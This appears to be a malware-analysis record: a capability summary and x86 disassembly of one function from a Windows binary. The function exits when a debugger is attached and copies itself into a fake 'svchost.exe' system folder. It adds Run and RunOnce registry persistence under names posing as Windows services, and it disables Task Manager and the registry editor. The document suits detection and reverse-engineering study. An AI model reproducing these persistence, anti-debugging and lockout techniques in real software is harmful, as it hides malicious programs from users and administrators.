Function at 0x404f40
Capabilities:
Copy file
Create directory
Disable system features via registry on windows
Get common file path
Persist via run registry key
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x140
mov eax, dword [0x40e040]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x40e9f9], 0
push esi
mov esi, dword [ebp + 8]
push edi
jne 0x404f7a
push 0
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
push eax
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
add esp, 8
mov byte [0x40e9f9], 1
mov edi, dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
call edi
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x404f94
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call edi
test al, 1
je 0x404f9f
call fcn.00406b80
mov dword [ebp - 0x140], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x12e], xmm0
mov dword [ebp - 0x126], 0
test esi, esi
je 0x40506b
cmp byte [esi], 0
je 0x40506b
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x404fd4
sub ecx, edx
cmp ecx, 0x104
jae 0x40506b
push 0x103
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
je 0x40506b
push str.Generic_svchost.exe
lea eax, [ebp - 0x108]
push 4
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
add esp, 0xc
lea eax, [ebp - 0x108]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x405036
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x40506b
lea eax, [ebp - 0x108]
mov dword [ebp - 0x13c], 2
mov dword [ebp - 0x134], eax
mov eax, 0x1414
mov word [ebp - 0x130], ax
lea eax, [ebp - 0x140]
push eax
mov dword [ebp - 0x138], esi
call dword [sym.imp.SHELL32.dll_SHFileOperationA]
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
xor esi, esi
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp - 0x120], str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov dword [ebp - 0x11c], str.SOFTWAREMicrosoftWindowsCurrentVersionRunOnce
mov dword [ebp - 0x118], str.SOFTWAREMicrosoftWindowsCurrentVersionRunOnceEx
mov dword [ebp - 0x114], str.SOFTWAREMicrosoftWindowsCurrentVersionRunServices
mov dword [ebp - 0x134], str.Generic_Host_Process_for_Win32_Services
mov dword [ebp - 0x130], str.Windows_Updater
mov dword [ebp - 0x12c], str.Windows_Server
mov dword [ebp - 0x128], str.Generic
nop word [eax + eax]
lea eax, [ebp - 0x10c]
push eax
push 2
push 0
push dword [ebp + esi - 0x120]
push 0x80000002
call edi
test eax, eax
jne 0x40511d
call fcn.00406b90
push 0x103
lea eax, [ebp - 0x108]
push eax
push 1
push 0
push dword [ebp + esi - 0x134]
push dword [ebp - 0x10c]
call ebx
push dword [ebp - 0x10c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
add esi, 4
cmp esi, 0x10
jl 0x4050d0
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
mov dword [ebp - 0x118], str.DisableTaskMgr
mov dword [ebp - 0x114], str.DisableRegistrytools
nop dword [eax]
nop word [eax + eax]
lea eax, [ebp - 0x10c]
mov dword [ebp - 0x110], 1
push eax
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push 0x80000001
call edi
test eax, eax
jne 0x4051b4
cmp byte [section..data], al
je 0x405184
mov byte [section..data], al
jmp 0x405188
push 0xa
call ebx
push 4
lea eax, [ebp - 0x110]
push eax
push 4
push 0
push dword [ebp + esi*4 - 0x118]
push dword [ebp - 0x10c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x10c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
inc esi
cmp esi, 2
jl 0x405150
pop ebx
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00407d00
mov esp, ebp
pop ebp
ret